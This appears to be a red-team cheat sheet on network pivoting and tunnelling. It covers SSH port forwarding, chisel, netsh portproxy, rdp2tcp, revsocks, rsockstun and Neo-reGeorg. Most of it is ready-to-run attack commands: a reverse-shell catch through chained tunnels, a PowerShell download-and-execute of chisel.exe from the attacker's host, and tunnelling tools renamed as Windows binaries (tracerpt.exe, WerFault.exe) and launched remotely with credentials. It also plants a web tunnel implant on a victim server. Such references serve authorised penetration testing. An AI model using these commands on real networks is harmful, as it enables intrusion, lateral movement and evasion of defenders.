Links

Pivoting

Check if connections are allowed at a certain port (alternative to nc.exe and powercat.ps1):
nc.ps1
# Test-NetConnection -ComputerName 10.10.13.37 -Port 4444
$port = $args[0]
$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any, $port)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
$listener.Start()
Write-Host "Listening on port $port"
while ($true)
{
$client = $listener.AcceptTcpClient()
Write-Host "A client has connected"
$client.Close()
}
Check if the machine can reach specific remote port when Test-NetConnection is not available (1, 2):
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'powershell (New-Object System.Net.Sockets.TcpClient("192.168.2.22", 445)).Connected' | grep -ai True

SSH

Local vs Remote Port Forwarding

A cheatsheet for SSH Local/Remote Forwarding command syntax:
  • -L 1111:127.0.0.1:2222: the traffic is forwarded from SSH client via SSH server, so 1111 is listening on client-side and traffic is sent to 2222 on server-side.
  • -R 2222:127.0.0.1:1111: the traffic is forwarded from SSH server via SSH client, so 2222 is listening on server-side and traffic is sent to 1111 on client-side.
Consider the following example. An attacker has root privileges on Pivot1. He creates the first SSH tunnel (remote port forwarding) to interact with a vulnerable web server on Pivot2. Then he exploits the vulnerability on Pivot2 and triggers it to connect back to Attacker via a reverse-shell (firewall is active, so he needs to pivot through port 443, which is allowed). After that the attacker performs PE on Pivot2 and gets root. Then he creates another tunnel (local port forwarding) over the first one to SSH into Pivot2 from Attacker. Finally, he forwards port 80 over two existing hops to reach another vulnerable web server on Victim.
Attacker (10.10.13.37) Pivot1 (10.1.1.1) Pivot2 (10.2.2.2) Victim (10.3.3.3)
┌──────────────────────────────────────────────────────────────────────┐ ┌───────────────────────────────────────────────┐ ┌────────────────────────────────┐ ┌───────────────────┐
│ 22 │ │ │ │ │ │ │
│ 1. ssh -R 443:127.0.0.1:9001 [email protected] ------------------------------► 10.1.1.1:22 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 2. │ │ Listens 0.0.0.0:443 ("GatewayPorts yes") │ │ │ │ │
│ │ │ │ │ │ │ │
│ 3. │ │ ~C ssh> -L 9002:10.2.2.2:80 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 4. Listens 127.0.0.1:9002 (to interact with web server 10.2.2.2:80) │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 5. shellpop -H 10.2.2.2 -P 443 --reverse --number 8 --base64 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 9001 over 10.1.1.1:22 │ │ 443 │ │ │ │ │
│ 6. rlwrap nc -lvnp 9001 ◄--- 127.0.0.1:9001 ◄----------------------------- 0.0.0.0:443 ◄───────────────────────────────┼──┼── Web server 10.2.2.2:80 │ │ │
│ │ │ │ │ │ │ │
│ 7. Got shell from 10.2.2.2 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 8. Got root on 10.2.2.2 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ │ │ ~C ssh> -L 9003:127.0.0.1:1337 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 9. Listens 127.0.0.1:9003 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ │ │ 22 │ │ │ │ │
│ │ │ ssh -L 1337:127.0.0.1:22 [email protected] ----------► 10.2.2.2:22 │ │ │
│ │ │ │ │ │ │ │
│ │ │ Listens 127.0.0.1:1337 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 1337 over 10.1.1.1:22 │ │ 22 over 10.2.2.2:22 │ │ │ │ │
│ 10. ssh [email protected] -p 9003 -------------------------------------------► 127.0.0.1:1337 ----------------------------------► 127.0.0.1:22 │ │ │
│ │ │ │ │ │ │ │
│ │ │ │ │ ~C ssh> -L 9004:10.3.3.3:80 │ │ │
│ │ │ │ │ │ │ │
│ 11. Listens 127.0.0.1:9004 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 1337 over 10.1.1.1:22 │ │ 22 over 10.2.2.2:22 │ │ │ │ │
│ 12. curl http://127.0.0.1:9004/ ------------------------------------------► 127.0.0.1:1337 ----------------------------------► 127.0.0.1:22 ────────────────┼──┼─► 10.3.3.3:80 │
│ │ │ │ │ │ │ │
└──────────────────────────────────────────────────────────────────────┘ └───────────────────────────────────────────────┘ └────────────────────────────────┘ └───────────────────┘
Notes:
  • 1 For SSH server to listen at 0.0.0.0 instead of 127.0.0.1, the GatewayPorts yes must be set in /etc/ssh/sshd_config.
  • 1 With SSH (or Chisel, for example) server running on the Attacker the same can be achieved by doing local port forwarding instead of remote.
snovvcrash@attacker:~$ ./chisel server -p 8000
root@pivot1:# nohup ./chisel client 10.10.13.37:8000 443:127.0.0.1:9001 &
root@pivot1:# netstat -tulpan | grep 443
tcp6 0 0 :::443 :::* LISTEN 18406/./chisel
snovvcrash@attacker:~$ rlwrap nc -lvnp 9001
Let's say we're doing a Remote Port Forwarding via SSH (with GatewayPorts yes) through ProxyChains like this:
$ proxychains ssh -R 80:127.0.0.1:8080 [email protected]
Then it's crucial to make sure that local connections are excluded from ProxyChains interception via the localnet 127.0.0.0/255.0.0.0 option in proxychains.conf. Otherwise, traffic redirection from server's 192.168.1.11:80 to client's 127.0.0.1:8080 are captured by ProxyChains and never reach the client!

Remote Dynamic Forwarding

  • Attacker's IP: 10.10.13.37
  • Victims's IP: 10.10.13.38
An example how to safely set remote dynamic port forwarding (SOCKS) with a builin SSH client.
Generate a dummy SSH key on Victim:
alice@victim:~$ ssh-keygen -f dummy_key -t ed25519 -q -N ""
Add dummy_key.pub contents to authorized_keys on Attacker with the following options:
snovvcrash@attacker:~$ vi ~/.ssh/authorized_keys
from="10.10.13.38",command="echo 'Only port forwarding is allowed'",no-agent-forwarding,no-X11-forwarding,no-pty <DUMMY_KEY_PUB>
Connect to Attacker's SSH server from Victim:
alice@victim:~$ ssh -fN -R 1080 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -i dummy_key [email protected]

L2 VPN over SSH

Allow tunneling in SSH server config on Victim:
root@victim:~$ sudo vi /etc/ssh/sshd_config
...uncomment "PermitTunnel = yes"...
root@victim:~$ sudo service sshd restart
Connect to Victim building a Ethernet tunnel:
snovvcrash@attacker:~$ sudo ssh -oTunnel=ethernet -w0:0 [email protected]
Enable tap interfaces on both ends:
root@victim:~$ sudo ip link set tap0 up
snovvcrash@attacker:~$ sudo ip link set tap0 up
Put Victim's interface and tap into bridge:
root@victim:~$ sudo ip link add br0 type bridge
root@victim:~$ sudo ip link set eth0 master br0
root@victim:~$ sudo ip link set tap0 master br0
root@victim:~$ sudo ip link set br0 up
Get an IP address for tap on Attacker:
snovvcrash@attacker:~$ sudo dhclient -v tap0

SOCKS over Hardened SSH

With AllowTcpForwarding set to no it's also possible to establish a SOCKS connection through active SSH connection:
snovvcrash@attacker:~$ cat tunnel.sh
ssh alice@victim "./socat TCP-LISTEN:2222,reuseaddr STDIO"
snovvcrash@attacker:~$ socat TCP:localhost:22 EXEC:./tunnel.sh
alive@victim:~$ ssh -R 1080 -p 2222 snovvcrash@attacker

netsh

Rules

Allow inbound traffic flow on port 4444/TCP:
Cmd > netsh advfirewall firewall add rule name="Allow 4444" dir=in action=allow protocol=TCP localport=4444
Cmd > netsh advfirewall firewall delete rule name="Allow 4444" protocol=TCP localport=4444

Relay

Add a relay between two machines (need to be local admin).
Make any traffic hitting port 8443 on 0.0.0.0 to be redirected to 10.10.13.37 on port 443:
Cmd > netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8443 connectaddress=10.10.13.37 connectport=443 protocol=tcp
Show active relays:
Cmd > netsh interface portproxy show v4tov4
Remove a relay:
Cmd > netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=8443

TCP over RDP

xfreerdp + rdp2tcp

$ xfreerdp /cert:ignore [/client-hostname:WORKGROUP] /u:snovvcrash /p:'Passw0rd!' [/d:megacorp.local] /v:PC01.megacorp.local /dynamic-resolution +clipboard [/timeout:25000] [-sec-nla] [/drive:share,/home/snovvcrash/share] [/rdp2tcp:/home/snovvcrash/tools/rdp-tunnel/rdp2tcp]
Reverse local port 9002 (on Victim) to local port 9001 on Attacker (good for reverse shells):
$ python rdp2tcp.py add reverse 127.0.0.1 9001 127.0.0.1 9002
Forward local port 9001 (on Attacker) to local port 9002 on Victim (good for bind shells):
$ python rdp2tcp.py add forward 127.0.0.1 9001 127.0.0.1 9002
Reverse tunnel web access via SOCKS proxy:
$ python rdp2tcp.py add socks5 127.0.0.1 1080
$ python rdp2tcp.py add reverse 127.0.0.1 1080 127.0.0.1 9003

Tools

proxychains4 (proxychains-ng)

Install:
$ git clone https://github.com/rofl0r/proxychains-ng ~/tools/proxychains-ng && cd ~/tools/proxychains-ng
$ ./configure --prefix=/usr --sysconfdir=/etc
$ make
$ sudo make install
$ sudo make install-config
+ edit /etc/proxychains.conf

sshuttle

$ sshuttle -vr [email protected] 192.168.1.0/24 -e "sshpass -p 'Passw0rd!' ssh"
$ sshuttle -vr s[email protected] 192.168.1.0/24 -e "ssh -i ./key"

chisel

  • Attacker's IP: 10.10.13.37
  • Victims's IP: 10.10.13.38
Reverse local port 1111 (on Victim) to local port 2222 (on Attacker):
$ ./chisel server -p 8000 -v --reverse
PS > (New-Object Net.WebClient).DownloadFile("http://10.10.13.37/chisel.exe", "$env:userprofile\music\chisel.exe")
PS > Get-FileHash -Alg md5 "$env:userprofile\music\chisel.exe"
PS > Start-Process -NoNewWindow -FilePath "$env:userprofile\music\chisel.exe" -ArgumentList "client 10.10.13.37:8000 R:127.0.0.1:2222:127.0.0.1:1111"
or
Cmd > [cmd /c] start "" /b chisel.exe ...
Socks5 proxy in server mode:
alice@victim:~$ nohup ./chisel server -p 8000 --socks5 &
snovvcrash@kali:~$ ./chisel client 10.10.13.38:8000 [127.0.0.1:1080:]socks
Socks5 proxy in server mode when direct connection to Victim is not available (not relevant as Chisel supports socks5 in client mode now):
snovvcrash@kali:~$ ./chisel server -p 8000 --reverse
alice@victim:~$ nohup ./chisel client 10.10.13.37:8000 R:127.0.0.1:8001:127.0.0.1:8002 &
alice@victim:~$ nohup ./chisel server -v -p 8002 --socks5 &
snovvcrash@kali:~$ ./chisel client 127.0.0.1:8001 [127.0.0.1:1080:]socks
Socks5 proxy in client mode:
snovvcrash@kali:~$ ./chisel server -p 8000 --reverse --socks5 [--auth snovvcrash:'Passw0rd!']
alice@victim:~$ nohup ./chisel client [--fingerprint <BASE64_STRING>] [--auth snovvcrash:'Passw0rd!'] 10.10.13.37:8000 R:[127.0.0.1:1080:]socks &
Quicky:
$ atexec.py megacorp.local/[email protected] 'start "" /b C:\Windows\tracerpt.exe server -p 8000 --socks5 --auth snovvcrash:"Passw0rd!"'
$ sudo chisel client -v --auth snovvcrash:'Passw0rd!' 192.168.1.11:8000 127.0.0.1:1080:socks
$ atexec.py megacorp.local/[email protected] 'taskkill /IM:tracerpt.exe /F && del C:\Windows\tracerpt.exe'

Double SOCKS Proxy

Double SOCKS Proxy Scheme
snovvcrash@kali:~$ ./chisel server -p 8000 --reverse --socks5
alice@pivot1:~$ nohup ./chisel client 10.10.13.37:8000 R:socks &
alice@pivot1:~$ nohup ./chisel server -p 8000 --reverse --socks5 &
bob@pivot2:~$ nohup ./chisel client 192.168.1.11:8000 R:socks &
snovvcrash@kali:~$ cp /etc/proxychains4.conf .
snovvcrash@kali:~$ echo 'socks5 127.0.0.1 1080' >> proxychains4.conf
snovvcrash@kali:~$ echo 'socks5 127.0.0.1 1080' >> proxychains4.conf
snovvcrash@kali:~$ proxychains4 -f ./proxychains4.conf nmap -Pn -sT 192.168.3.33 -p445

SharpChisel

revsocks

snovvcrash@kali:~$ ./revsocks -listen :8000 -socks 127.0.0.1:1080 -pass 'Passw0rd!'
alice@victim:~$ ./revsocks -connect 10.14.14.3:8000 -pass 'Passw0rd!'

rsockstun

$ openssl req -new -x509 -keyout cert.key -out cert.crt -days 365 -nodes
$ sudo rsockstun -listen :8000 -socks 127.0.0.1:1080 -cert cert -pass 'Passw0rd!'
Quicky:
$ atexec.py megacorp.local/[email protected] 'start "" /b C:\Windows\WerFault.exe -connect 10.10.13.37:8000 -pass "Passw0rd!"'
$ atexec.py megacorp.local/[email protected] 'taskkill /IM:WerFault.exe /F && del C:\Windows\WerFault.exe'

Neo-reGeorg

Generate a tunnel implant and copy it to the Victim web server from ./neoreg_servers/tunnel*:
$ python neoreg.py generate -k 'Passw0rd!'
Connect to the implant (.aspx, for example):
$ python neoreg.py -k 'Passw0rd!' -u http://web01.megacorp.local/tunnel.aspx -l 0.0.0.0 -p 1337 [--skip]
Last modified 17d ago